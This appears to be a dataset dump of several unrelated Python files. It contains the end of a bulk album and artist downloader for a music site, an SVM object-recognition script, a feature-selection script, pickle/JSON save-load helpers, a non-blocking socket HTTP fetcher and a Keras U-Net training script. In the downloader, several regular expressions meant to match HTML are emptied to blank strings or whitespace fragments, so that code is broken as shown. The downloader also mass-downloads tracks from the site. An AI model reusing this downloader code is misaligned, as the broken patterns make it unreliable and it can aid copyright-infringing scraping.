manually **\", \"lightyellow\")\n break\n except Exception as e:\n if (i == 4):\n color_message(\"** Unable to get the real size of %s from the server because: %s. **\" \n % (file_name, str(e)), \"lightyellow\")\n break # real_size == -1\n else:\n i += 1\n if debug: print(\"%s problem while getting content-length: %s, retrying\" \n % (process_id, str(e)), file=sys.stderr)\n continue\n\n # find where to start the file download (continue or start at beginning)\n if (0 < dlded_size < real_size):\n # file incomplete, we need to resume download\n u.close()\n \n range_header = 'bytes=%s-%s' % (dlded_size, real_size)\n data = None\n u = open_url(url, socks_proxy, socks_port, timeout, data, range_header)\n if not u: return -1\n \n # test if the server supports the Range header\n if (u.getcode() == 206):\n partial_dl = 1\n else:\n color_message(\"** Range/partial download is not supported by server, restarting download at beginning **\", \"lightyellow\")\n dlded_size = 0\n elif (dlded_size == real_size):\n # file already completed, skipped\n color_message(\"%s (skipped)\" % dl_status(file_name, dlded_size, real_size), \"lightgreen\")\n u.close()\n return\n elif (dlded_size > real_size):\n # we got a problem, restart download\n color_message(\"** Downloaded size (%s) bigger than the real size (%s) of %s. Either real size could not be found or an other problem occured, retrying **\" % (dlded_size,real_size,file_name), \"lightyellow\")\n u.close()\n return -1\n\n # append or truncate\n if partial_dl:\n f = open(file_name, 'ab+')\n else:\n f = open(file_name, 'wb+')\n\n # get the file\n block_sz = 8192\n #spin = spinning_wheel()\n while True:\n buffer = u.read(block_sz)\n if not buffer:\n break\n\n dlded_size += len(buffer)\n f.write(buffer)\n\n # show progress\n #sys.stdout.write(next(spin))\n #sys.stdout.flush()\n #time.sleep(0.1)\n #sys.stdout.write('\\b')\n \n if (real_size == -1): \n real_size = dlded_size\n color_message(\"%s (file downloaded, but could not verify if it is complete)\" \n % dl_status(file_name, dlded_size, real_size), \"lightyellow\")\n elif (real_size == dlded_size):\n color_message(\"%s\" # file downloaded and complete\n % dl_status(file_name, dlded_size, real_size), \"lightgreen\")\n elif (dlded_size < real_size):\n color_message(\"%s (file download incomplete, retrying)\" \n % dl_status(file_name, dlded_size, real_size), \"lightyellow\")\n u.close()\n f.close()\n return -1\n\n #sys.stdout.write('\\n')\n u.close()\n f.close()\n except KeyboardInterrupt as e:\n if debug: print(\"** %s : download_file: keyboard interrupt detected **\" % process_id, file=sys.stderr)\n raise e\n except Exception as e:\n color_message('** Exception caught in download_file(%s,%s) with error: \"%s\". We will continue anyway. **' \n % (url, file_name, str(e)), \"lightyellow\")\n traceback.print_stack(file=sys.stderr)\n pass\n\n\ndef download_song(params):\n (num_and_url, debug, socks_proxy, socks_port, timeout) = params\n process_id = os.getpid()\n\n m = re.match(r\"^(\\d+)-(.+)\", num_and_url)\n tracknum = m.group(1)\n url = m.group(2)\n\n while True: # continue until we have the song\n try:\n if debug: print(\"%s: downloading song from %s\" % (process_id, url))\n file_name = \"\"\n file_url = \"\"\n\n page_soup = get_page_soup(url, None, debug, socks_proxy, socks_port, timeout)\n if not page_soup: \n if debug: print(\"** %s: Unable to get song's page soup, retrying **\" % process_id, file=sys.stderr)\n continue\n\n # get the filename and file url\n for link in page_soup.find_all('a', href=True, class_=\"no-ajaxy\", itemprop=\"audio\", limit=1):\n song_infos_re = re.compile(''\n '')\n song_infos = song_infos_re.search(str(link))\n break\n\n if song_infos.group(1) != \"\":\n file_name = tracknum +'-' + sanitize_path(song_infos.group(1))\n if debug: print(\"%s: got_filename: %s\" % (process_id, file_name))\n else:\n color_message(\"** %s: Cannot find filename for: %s , retrying **\" % (process_id, url), \"lightyellow\")\n continue\n\n if song_infos.group(2) != \"\":\n file_url = song_infos.group(2)\n if debug: print(\"%s: got_fileurl: %s\" % (process_id, file_url))\n # prepend base url if necessary\n if re.match(r'^/', file_url):\n file_url = get_base_url(url, debug) + file_url\n else:\n color_message(\"** %s: Cannot find file url for: %s , retrying **\" % (process_id, url), \"lightyellow\")\n continue\n\n # download song \n ret = download_file(file_url, file_name, debug, socks_proxy, socks_port, timeout)\n if ret == -1:\n color_message(\"** %s: Problem detected while downloading %s, retrying **\" % (process_id, file_name), \"lightyellow\")\n continue\n else:\n break\n except KeyboardInterrupt:\n if debug: print(\"** %s: keyboard interrupt detected, finishing process **\" % process_id, file=sys.stderr)\n # just return, see: \n # http://jessenoller.com/2009/01/08/multiprocessingpool-and-keyboardinterrupt/\n return\n except Exception as e:\n color_message('** %s: Exception caught in download_song(%s,%s) with error: \"%s\", retrying **'\n % (process_id, url, file_name, str(e)), \"lightyellow\")\n traceback.print_stack(file=sys.stderr)\n pass\n\n\n\ndef download_album(url, base_path, debug, socks_proxy, socks_port, timeout, nb_conn):\n page_soup = get_page_soup(url, None, debug, socks_proxy, socks_port, timeout)\n if not page_soup:\n color_message(\"** Unable to get album's page soup **\", \"lightred\")\n return\n page_content = str(page_soup)\n\n # Beautifulsoup converts \"&\" to \"&\" so that it be valid html. We need to convert them back with html.unescape.\n page_content = html.unescape(page_content)\n\n album_dir = prepare_album_dir(page_content, base_path, debug)\n\n os.chdir(album_dir)\n \n download_cover(page_content, url, debug, socks_proxy, socks_port, timeout)\n\n # create list of album's songs\n songs_links = []\n href_regexp = re.compile(r'/song/')\n tracknum = 0\n absent_track_flag = 0\n\n for link in page_soup.find_all('a', href=True, title=True, class_=\"dl-song\"):\n if href_regexp.search(link['href']):\n # search track number\n tracknum_infos_re = re.compile('
    \\r?\\n?'\n '(?:\\s)*(\\d+)\\r?\\n?'\n '(?:\\s)*
    \\r?\\n?'\n '(?:\\s)*
    \\r?\\n?'\n '(?:\\s)*
    \\r?\\n?'\n '(?:\\s)*', re.I)\n tracknum_infos = tracknum_infos_re.search(page_content)\n if tracknum_infos:\n tracknum = tracknum_infos.group(1)\n tracknum = str(tracknum).zfill(2)\n else:\n color_message(\"** Unable to get track number for %s **\" % link['href'], \"lightyellow\")\n tracknum = 0\n\n # prepend base url if necessary\n if re.match(r'^/', link['href']):\n link['href'] = get_base_url(url, debug) + link['href']\n\n # add song url and number in array\n songs_links.append(str(tracknum) + '-' + link['href'])\n\n if debug > 1:\n timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n mylogname = \"myzcloudlog-\" + timestr + \".log\"\n logcontent = open(mylogname, \"w\", encoding='utf-8')\n logcontent.write(page_content)\n logcontent.close()\n\n # search for absent/deleted tracks from the website.\n deleted_track_re = re.compile(r'
    \\r?\\n?'\n '(?:\\s)*(\\d+)\\r?\\n?'\n '(?:\\s)*
    \\r?\\n?'\n '
    \\r?\\n?'\n '
    \\r?\\n?'\n '(?:)?'\n '(.+?) '\n '\\[(?:Deleted|Удален по требованию правообладателя)\\]', re.I)\n\n for deleted_track in re.findall(deleted_track_re, page_content):\n tracknum = deleted_track[0]\n trackname = deleted_track[1]\n color_message(\"** The track number %s (%s) is absent from website **\" % (tracknum, trackname), \"lightyellow\")\n absent_track_flag = 1\n\n if not songs_links:\n color_message(\"** Unable to detect any song links, skipping this album/url **\", \"lightred\")\n absent_track_flag = 1\n else:\n # we launch the threads to do the downloads\n pool = Pool(processes=nb_conn)\n\n # pool.map accepts only one argument for the function call, so me must aggregate all in one\n params = [(num_and_url, debug, socks_proxy, socks_port, timeout) for num_and_url in songs_links]\n try:\n pool.map(download_song, params)\n pool.close()\n pool.join()\n except KeyboardInterrupt as e:\n color_message(\"** Program interrupted by user, exiting! **\", \"lightred\")\n pool.terminate()\n pool.join()\n sys.exit(1)\n\n os.chdir('..')\n if not absent_track_flag: color_message(\"** ALBUM DOWNLOAD FINISHED **\", \"lightgreen\")\n else: color_message(\"** ALBUM DOWNLOAD INCOMPLETE, MISSING TRACKS ON WEBSITE **\", \"lightred\")\n\ndef download_artist(url, base_path, debug, socks_proxy, socks_port, timeout, nb_conn):\n page_soup = get_page_soup(url, str.encode(''), debug, socks_proxy, socks_port, timeout)\n if not page_soup:\n if debug: print(\"** Unable to get artist's page soup **\", file=sys.stderr)\n return \n\n color_message(\"** Warning: we are going to download all albums from this artist! **\", \"lightyellow\")\n\n albums_links = []\n for link in page_soup.find_all('a', href=True):\n if re.search(r'/album/.*', link['href']):\n # most of albums' links appear 2 times, we need to de-duplicate.\n if link['href'] not in albums_links:\n albums_links.append(link['href'])\n\n for album_link in albums_links:\n download_album(get_base_url(url, debug) + album_link, base_path, \n debug, socks_proxy, socks_port, timeout, nb_conn)\n print(\"\")\n print(\"ARTIST DOWNLOAD FINISHED\")\n\n\ndef main():\n global version\n debug = 0\n socks_proxy = \"\"\n socks_port = \"\"\n timeout = 10\n nb_conn = 3\n script_name = os.path.basename(sys.argv[0])\n\n parser = argparse.ArgumentParser(description=script_help(version, script_name), add_help=True, \n formatter_class=argparse.RawTextHelpFormatter)\n\n parser.add_argument(\n \"-d\", \"--debug\", type=int, choices=range(0,3), default=0, help=\"Debug verbosity: 0, 1, 2\" )\n parser.add_argument(\n \"-s\", \"--socks\", type=str, default=None, help='Socks proxy: \"address:port\" without \"http://\"')\n parser.add_argument(\n \"-t\", \"--timeout\", type=int, default=10, help='Timeout for HTTP connections in seconds')\n parser.add_argument(\n \"-n\", \"--nb_conn\", type=int, default=3, help='Number of simultaneous downloads (max 3 for tempfile.ru)')\n parser.add_argument(\n \"-p\", \"--path\", type=str, default=\".\", help=\"Base directory in which album(s) will be\"\n \" downloaded. Defaults to current directory.\")\n parser.add_argument(\n \"-v\", \"--version\", action='version', version='%(prog)s, version: '+str(version))\n\n parser.add_argument(\"url\", action='store', help=\"URL of album or artist page\")\n args = parser.parse_args()\n\n debug = int(args.debug)\n if debug: print(\"Debug level: %s\" % debug)\n\n nb_conn = int(args.nb_conn)\n timeout = int(args.timeout)\n\n if (args.socks):\n (socks_proxy, socks_port) = args.socks.split(':')\n if debug: print(\"proxy socks: %s %s\" % (socks_proxy, socks_port))\n if not socks_port.isdigit():\n color_message(\"** Error in your socks proxy definition, exiting. **\", \"lightred\")\n sys.exit(1)\n socks_port = int(socks_port)\n\n try:\n print(\"** We will try to use %s simultaneous downloads, progress will be shown\" % nb_conn)\n print(\" after each completed file but not necessarily in album's order. **\")\n\n # modification of global variables do not work correctly under windows with multiprocessing,\n # so I have to pass all these parameters to these functions...\n if re.search(r'/artist/.*', args.url):\n download_artist(args.url, args.path, debug, socks_proxy, socks_port, timeout, nb_conn)\n elif re.search(r'/album/.*', args.url):\n download_album(args.url, args.path, debug, socks_proxy, socks_port, timeout, nb_conn)\n else:\n color_message(\"** Error: unable to recognize url, it should contain '/artist/' or '/album/'! **\", \"lightred\")\n\n except Exception as e:\n color_message(\"** Error: Cannot download URL: %s, reason: %s **\" % (args.url, str(e)), \"lightred\")\n traceback.print_stack(file=sys.stderr)\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"myzcloud-me.py","file_name":"myzcloud-me.py","file_ext":"py","file_size_in_byte":25768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"57798570","text":"\"\"\" Object recognition \n\nGiven a array of SIFT features, run clustering and extract the cluster label\nand then construct a visual word distribution for the image and classify it using \nsupervised learning model. \n\"\"\"\nfrom __future__ import print_function\n\nimport cv2\nimport cPickle as pickle\nimport collections\n\nimport os\nimport numpy as np\nimport pdb\n\nfrom sklearn.externals import joblib\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.cluster import MiniBatchKMeans, KMeans\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.multiclass import OneVsRestClassifier\n# from sklearn.neural_network import MLPClassifier\n\n\nclusters = 3000\nfeatures = np.empty((0, 128))\nsiftPath = './SURF/train/'\n\n# find distribution of visual words over the labels \n# and then feed it to the classifier.\nwordDist = np.empty((0, clusters))\ncategories = []\n\ngmm = joblib.load('./models/gmm_v1.pkl')\n\nfor root, dirs, files in os.walk(siftPath):\n readCount = 0\n for name in files:\n #print(root, ':', dirs, ':', name)\n if name.startswith('.'):\n print(\"Ignoring file : \", name)\n continue\n try:\n category = root.split('/')[-1]\n fpath = os.path.join(root, name)\n print(\"Processing pickled file... \", fpath)\n feature = pickle.load(open(fpath, 'rb'))\n counter = []\n\n for i in range(0, clusters):\n scores = gmm[i].score_samples(feature)\n counter.append(sum(scores))\n\n dist = np.float64([counter[i] for i in range(0, clusters)])\n # normalize visual word distribution histogram so that \n # image size doesn't effect bag of words model. \n ndist = (dist - min(dist))/(max(dist)-min(dist))\n wordDist = np.vstack((wordDist, ndist))\n categories.append(category)\n except Exception as e:\n print(\"Error: \", e)\n continue\n\n# pdb.set_trace()\n# clf = svm.SVC()\nclf = svm.SVC(kernel='poly', degree=3, C=1.0, verbose=True) # linear svm kernel gives 56% accuracy\n# clf = svm.LinearSVC(verbose=True)\n# clf = OneVsRestClassifier(svm.SVC(kernel='linear', verbose=True))\n#clf = RandomForestClassifier(n_estimators=25)\nmodel = clf.fit(wordDist, categories)\ndel wordDist, categories\n\njoblib.dump(clf, './models/surf-svm_v1.pkl')\n\n# Neural net MLP classifier is not available in scikit learn - 0.17 yet\n# It's available in 0.18-dev version, but it's unstable.\n# clf = MLPClassifier(solver='lbfgs', alpha=1e-5, hidden_layer_sizes=(256, 256))\n# joblib.dump(clf, './models/mlpclassifier_v1.pkl')","sub_path":"project/object_recognition_gmm.py","file_name":"object_recognition_gmm.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"139111296","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport numpy as np\nimport pandas as pd\nimport sys\nsys.path.append('../preprocess/')\nfrom simple import to_train\n\n\ndef get_data():\n get_feature = to_train()\n X, name = get_feature.get_X()\n train_df = pd.read_csv('../../data/train.csv')\n y = train_df.iloc[:,1].values\n y = y.reshape(len(y),1)\n\n return X, y, name\n\ndef main():\n args = sys.argv\n X, y, name = get_data()\n cor_mat = np.corrcoef(X.transpose())\n cor_line = float(args[1])\n del_name = list()\n for i in range(len(name)):\n for j in range(i+1,len(name)):\n if cor_mat[i,j] >= cor_line:\n calc_cor = np.zeros((2,len(X)))\n calc_cor[0,:] = X[:,i]\n calc_cor[1,:] = y.reshape(1,-1)\n a = np.corrcoef(calc_cor)[0,1]\n calc_cor[0,:] = X[:,j]\n b = np.corrcoef(calc_cor)[0,1]\n if a < b:\n del_name.append(name[i])\n else:\n del_name.append(name[j])\n pd.to_pickle(np.array(list(set(del_name))),'../../pkl/train/del_feature.pkl')\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"code/train/feature_select.py","file_name":"feature_select.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"407442872","text":"import sys\nimport os\nimport json\nimport pickle\n\nBASIC_DATA_TYPE = (int, str, float)\nBASIC_DATA_TYPE_BOOL = (bool)\n\nTYPE_BASIC = \"type_basic\"\nTYPE_BOOL = \"type_bool\"\nTYPE_OBJECT = \"type_object\"\nTYPE_LIST = \"type_list\"\nTYPE_DICT = \"type_dict\"\nTYPE_UNDEFINED = \"type_undefined\"\n\n\nclass TypeCheck:\n @staticmethod\n def is_list(obj):\n return type(obj) == list and isinstance(obj, list)\n\n @staticmethod\n def is_dict(obj):\n return type(obj) == dict and isinstance(obj, dict)\n\n @staticmethod\n def is_object(obj):\n return isinstance(obj, object)\n\n @staticmethod\n def is_basic(obj):\n return isinstance(obj, BASIC_DATA_TYPE)\n\n @staticmethod\n def is_bool(obj):\n return isinstance(obj, bool)\n\n @staticmethod\n def get_obj_type(obj):\n if TypeCheck.is_basic(obj):\n return TYPE_BASIC\n elif TypeCheck.is_bool(obj):\n return TYPE_BOOL\n elif TypeCheck.is_list(obj):\n return TYPE_LIST\n elif TypeCheck.is_dict(obj):\n return TYPE_DICT\n elif TypeCheck.is_object(obj):\n return TYPE_OBJECT\n else:\n return TYPE_UNDEFINED\n\n\nclass SaveBasic:\n @staticmethod\n def save_basic(data, fn, path=None, file_type=None, called=None):\n if not os.path.exists(path):\n os.makedirs(path)\n if data and path and fn:\n if file_type == 'txt':\n SaveBasic.save_txt(data, path, fn, called=called)\n elif file_type == 'json':\n SaveBasic.save_json(data, path, fn, called=called)\n else:\n SaveBasic.save_obj(data, path, fn, called=called)\n else:\n SaveBasic.save_log(called, success=False)\n\n @staticmethod\n def save_log(called, success=False):\n if success:\n if called and len(called):\n print(str(called) + ' : saving data success')\n else:\n print('saving data success')\n else:\n if called and len(called):\n print(str(called) + ' : saving data error')\n else:\n print('saving data error')\n\n @staticmethod\n def save_txt(data, path, fn, called=None):\n if os.path.isdir(path):\n with open(os.path.join(path, fn), \"w\") as f:\n for s in data:\n f.write(str(s) + \"\\n\")\n SaveBasic.save_log(called, success=True)\n else:\n SaveBasic.save_log(called)\n pass\n\n @staticmethod\n def save_hd5f(*argv, data_name=None, path=None, fn=None, called=None):\n import h5py\n if os.path.isdir(path):\n hf = h5py.File(os.path.join(path, fn), 'w')\n if len(argv) != len(data_name):\n print(\"data name and data number not match\")\n return -1\n for i, data in enumerate(argv):\n hf.create_dataset(data_name[i], data=data)\n hf.close()\n\n SaveBasic.save_log(called, success=True)\n else:\n SaveBasic.save_log(called)\n\n @staticmethod\n def save_obj(data, path, fn, called=None):\n if os.path.isdir(path):\n with open(os.path.join(path, fn), 'wb') as f:\n pickle.dump(data, f)\n SaveBasic.save_log(called, success=True)\n else:\n SaveBasic.save_log(called)\n\n @staticmethod\n def save_json(data, path, fn, called=None):\n if os.path.isdir(path):\n with open(os.path.join(path, fn), 'w') as f:\n json.dump(data, f, indent=2)\n SaveBasic.save_log(called, success=True)\n else:\n SaveBasic.save_log(called)\n\n\nclass LoadBasic:\n @staticmethod\n def load_basic(fn, path=None, file_type=None, called=None):\n if not os.path.exists(path):\n print(called + ' : path error')\n return\n if path and fn:\n if file_type == 'txt':\n data = LoadBasic.load_txt(path, fn, called=called)\n elif file_type == 'json':\n data = LoadBasic.load_json(path, fn, called=called)\n else:\n data = LoadBasic.load_obj(path, fn, called=called)\n return data\n else:\n LoadBasic.load_log(called)\n return -1\n\n\n @staticmethod\n def load_log(called, success=False):\n if success:\n if called and len(called):\n print(str(called) + ' : loading data success')\n else:\n print('loading data success')\n else:\n if called and len(called):\n print(str(called) + ' : loading data error')\n else:\n print('loading data error')\n\n @staticmethod\n def load_txt(path, fn, called=None):\n if os.path.isdir(path):\n with open(os.path.join(path, fn), \"r\") as f:\n data = f.readlines()\n LoadBasic.load_log(called, success=True)\n return data\n else:\n LoadBasic.load_log(called)\n return -1\n\n @staticmethod\n def load_obj(path, fn, called=None):\n if os.path.isfile(os.path.join(path, fn)):\n with open(os.path.join(path, fn), 'rb') as f:\n data = pickle.load(f)\n LoadBasic.load_log(called, success=True)\n return data\n else:\n LoadBasic.load_log(called)\n return -1\n\n @staticmethod\n def load_json(path, fn, called=None):\n if os.path.isdir(path):\n with open(os.path.join(path, fn), 'r') as f:\n data = json.load(f)\n LoadBasic.load_log(called, success=True)\n return data\n else:\n LoadBasic.load_log(called)\n return -1\n","sub_path":"general/save_load.py","file_name":"save_load.py","file_ext":"py","file_size_in_byte":5737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"313556909","text":"# 使用socket获取http报文\n# 把setblocking设为false 让学员自己解决问题\nimport socket\nfrom urllib.parse import urlparse\nfrom selectors import DefaultSelector, EVENT_READ, EVENT_WRITE\n\n# 申明select\nsel = DefaultSelector()\n\n\nclass Downloader:\n\n def __init__(self, sel):\n self.domain = \"\"\n self.url = \"\"\n self.path = \"\"\n self.host = \"\"\n self.selector = sel\n self.ss = \"\"\n self.data = b\"\"\n\n def get_client(self):\n # 初始化socket\n\n self.ss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # 使用非阻塞io,socket不等待连接建立好 直接向下执行\n self.ss.setblocking(False)\n # 虽然申明了一个非阻塞操作,但这个还是阻塞操作,不能交给select\n try:\n self.ss.connect((self.host, 18001))\n except Exception:\n pass\n\n # 创建好链接之后,向服务器发送http报文,不过这个使用回调的方式来做,这个是一个写操作,因为我们\n # 向socket中写入数据(发送数据)\n self.selector.register(self.ss, EVENT_WRITE, self.send_data)\n\n def send_data(self, mask):\n # 连接创建好之后去请求http\n self.selector.unregister(self.ss)\n data = \"GET {} HTTP/1.1\\r\\nHost:{}\\r\\nConnection:close\\r\\nUser-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36\\r\\n\\r\\n\".format(\n self.path, self.host).encode('utf8')\n self.ss.send(data)\n # 数据发送之后,去获取http数据,这个时候使用读操作\n self.selector.register(self.ss, EVENT_READ, self.get_http)\n\n def get_http(self, mask):\n\n # 在报文没有读取完之前,循环会一直调用这个函数,所以我们不用去\n # 担心while循环,只需要在他没有报文的时候,结束这个事件就ok了\n d = self.ss.recv(1024)\n if d:\n self.data += d\n else:\n self.selector.unregister(self.ss)\n print(self.data)\n\n def get_html(self, domain=\"https://book.douban.com/subject/3012360/\"):\n\n self.domain = domain\n self.url = urlparse(self.domain)\n self.host = self.url.netloc\n self.path = self.url.path\n if self.path == \"\":\n self.path = \"/\"\n\n self.get_client()\n\n\nurl = 'http://127.0.0.1/index1/'\n# 试着同时获取30条数据\nfor i in range(30):\n download = Downloader(sel)\n download.get_html(url)\nwhile True:\n events = sel.select()\n for key, mask in events:\n callback = key.data\n callback(key)\n","sub_path":"rimi_linux_mysql/tcp_ip_socket/Io_test/select_test2.py","file_name":"select_test2.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"410463166","text":"import numpy as np \r\nimport os\r\nimport skimage.io as io\r\nimport skimage.transform as trans\r\nimport numpy as np\r\nfrom keras.models import *\r\nfrom keras.layers import *\r\nfrom keras.optimizers import *\r\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\r\nimport warnings\r\nimport os\r\nimport keras\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nfrom loss import dice_coef_loss,dice_coef\r\nfrom preprocess import preprocess_mask,preprocess_image\r\nimport numpy as np\r\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\r\n\r\n\r\ndef unet(input_size):\r\n inputs = Input(input_size)\r\n conv1 = Conv2D(64, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(inputs)\r\n conv1 = Conv2D(64, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv1)\r\n pool1 = MaxPooling2D(pool_size=(2, 2))(conv1)\r\n\r\n conv2 = Conv2D(128, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool1)\r\n conv2 = Conv2D(128, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv2)\r\n pool2 = MaxPooling2D(pool_size=(2, 2))(conv2)\r\n \r\n conv3 = Conv2D(256, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool2)\r\n conv3 = Conv2D(256, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv3)\r\n pool3 = MaxPooling2D(pool_size=(2, 2))(conv3)\r\n \r\n conv4 = Conv2D(512, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool3)\r\n conv4 = Conv2D(512, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv4)\r\n drop4 = Dropout(0.5)(conv4)\r\n pool4 = MaxPooling2D(pool_size=(2, 2))(drop4)\r\n\r\n # conv5 = Conv2D(1024, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(pool4)\r\n # conv5 = Conv2D(1024, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv5)\r\n # drop5 = Dropout(0.5)(conv5)\r\n\r\n up6 = Conv2D(512, 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(UpSampling2D(size = (2,2))(pool4))\r\n merge6 = concatenate([drop4,up6], axis = 3)\r\n conv6 = Conv2D(512, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge6)\r\n conv6 = Conv2D(512, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv6)\r\n\r\n up7 = Conv2D(256, 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(UpSampling2D(size = (2,2))(conv6))\r\n merge7 = concatenate([conv3,up7], axis = 3)\r\n conv7 = Conv2D(256, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge7)\r\n conv7 = Conv2D(256, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv7)\r\n\r\n up8 = Conv2D(128, 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(UpSampling2D(size = (2,2))(conv7))\r\n merge8 = concatenate([conv2,up8], axis = 3)\r\n conv8 = Conv2D(128, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge8)\r\n conv8 = Conv2D(128, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv8)\r\n \r\n up9 = Conv2D(64, 2, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(UpSampling2D(size = (2,2))(conv8))\r\n merge9 = concatenate([conv1,up9], axis = 3)\r\n conv9 = Conv2D(64, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(merge9)\r\n conv9 = Conv2D(64, 3, activation = 'relu', padding = 'same', kernel_initializer = 'he_normal')(conv9)\r\n conv9 = Conv2D(1, 1, activation = 'sigmoid', padding = 'same', kernel_initializer = 'he_normal')(conv9)\r\n #conv10 = Conv2D(3, 1, activation = 'sigmoid')(conv9)\r\n\r\n model = Model(input = inputs, output = conv9)\r\n\r\n \r\n #model.summary()\r\n\r\n\r\n return model\r\n\r\nmodel=unet((256,256,3))\r\nmodel.summary()\r\n\r\n# training_data_x=[]\r\n# training_data_y=[]\r\n# test_data_x=[]\r\n# test_data_y=[]\r\n# og_path=\"//content//drive//My Drive//abc//pqr\"\r\n# test_path=\"//content//drive//My Drive//abc//pqr\"\r\n# CATEGORIES=[\"og\",\"mask\",\"test_og\",\"test_mask\"]\r\n# def create_dataset():\r\n \r\n# path=os.path.join(og_path,CATEGORIES[0])\r\n# for img in os.listdir(path):\r\n# img_array=cv2.imread(os.path.join(path,img))\r\n# training_data_x.append(img_array)\r\n# path=os.path.join(og_path,CATEGORIES[1])\r\n# for img in os.listdir(path):\r\n# img_array=cv2.imread(os.path.join(path,img))\r\n# training_data_y.append(img_array)\r\n# path=os.path.join(og_path,CATEGORIES[2])\r\n# for img in os.listdir(path):\r\n# img_array=cv2.imread(os.path.join(path,img))\r\n# test_data_x.append(img_array)\r\n# path=os.path.join(og_path,CATEGORIES[3])\r\n# for img in os.listdir(path):\r\n# img_array=cv2.imread(os.path.join(path,img))\r\n# test_data_y.append(img_array)\r\n \r\n\r\n \r\n# create_dataset()\r\n# training_data_x=np.asarray(training_data_x)\r\n# training_data_y=np.asarray(training_data_y)\r\n# test_data_x=np.asarray(test_data_x)\r\n# test_data_y=np.asarray(test_data_y)\r\n\r\n\r\ndata_gen_args_mask = dict(featurewise_center=True,\r\n featurewise_std_normalization=True,\r\n rotation_range=90,\r\n width_shift_range=0.1,\r\n height_shift_range=0.1,\r\n zoom_range=0.2,preprocessing_function=preprocess_mask)\r\n\r\ndata_gen_args_image = dict(featurewise_center=True,\r\n featurewise_std_normalization=True,\r\n rotation_range=90,\r\n width_shift_range=0.1,\r\n height_shift_range=0.1,\r\n zoom_range=0.2,\r\n preprocessing_function=preprocess_image)\r\n\r\nimage_datagen = keras.preprocessing.image.ImageDataGenerator(**data_gen_args_image)\r\nmask_datagen = keras.preprocessing.image.ImageDataGenerator(**data_gen_args_mask)\r\n\r\n# Provide the same seed and keyword arguments to the fit and flow methods\r\nseed = 1\r\n\r\nimage_generator = image_datagen.flow_from_directory(\r\n '/home/team6/Project/MiMM_SBILab/patches/train/images',\r\n class_mode=None,\r\n target_size=(256,256),\r\n seed=seed)\r\n\r\nmask_generator = mask_datagen.flow_from_directory(\r\n '/home/team6/Project/MiMM_SBILab/patches/train/masks',\r\n class_mode=None,\r\n color_mode=\"grayscale\",\r\n target_size=(256, 256),\r\n seed=seed)\r\n\r\n# combine generators into one which yields image and masks\r\ntrain_generator = zip(image_generator, mask_generator)\r\nprint(len(image_generator))\r\nmodel.compile(optimizer=\"adam\",loss=dice_coef_loss,metrics=[\"accuracy\",dice_coef])\r\n\r\ncallbacks = [\r\n keras.callbacks.EarlyStopping(monitor='loss', patience=25, verbose=1),\r\n keras.callbacks.ModelCheckpoint(\"Unets_50_{epoch:03d}.hdf5\", monitor='loss', verbose=1, mode='auto'),\r\n keras.callbacks.ReduceLROnPlateau(monitor='loss', factor=0.5, patience=5, verbose=1, mode='auto', epsilon=0.01, cooldown=0, min_lr=1e-6),\r\n keras.callbacks.TensorBoard(log_dir='./logs_preds', histogram_freq=0, batch_size=32, write_graph=True, write_grads=False, write_images=False, embeddings_freq=0, embeddings_layer_names=None, embeddings_metadata=None, embeddings_data=None, update_freq='epoch')\r\n #NotifyCB\r\n]\r\n# model.load_weights(\"Resnet_50_050.hdf5\")\r\n\r\nmodel.fit_generator(\r\n train_generator,\r\n steps_per_epoch=1700,\r\n epochs=100,\r\n callbacks=callbacks)\r\n\r\n\r\n# h1.fit(training_data_x,training_data_y,epochs=10,batch_size=3)\r\n# pred=h1.evaluate(test_data_x,test_data_y)\r\n# print(\"loss\"+str(pred[0]))\r\n# 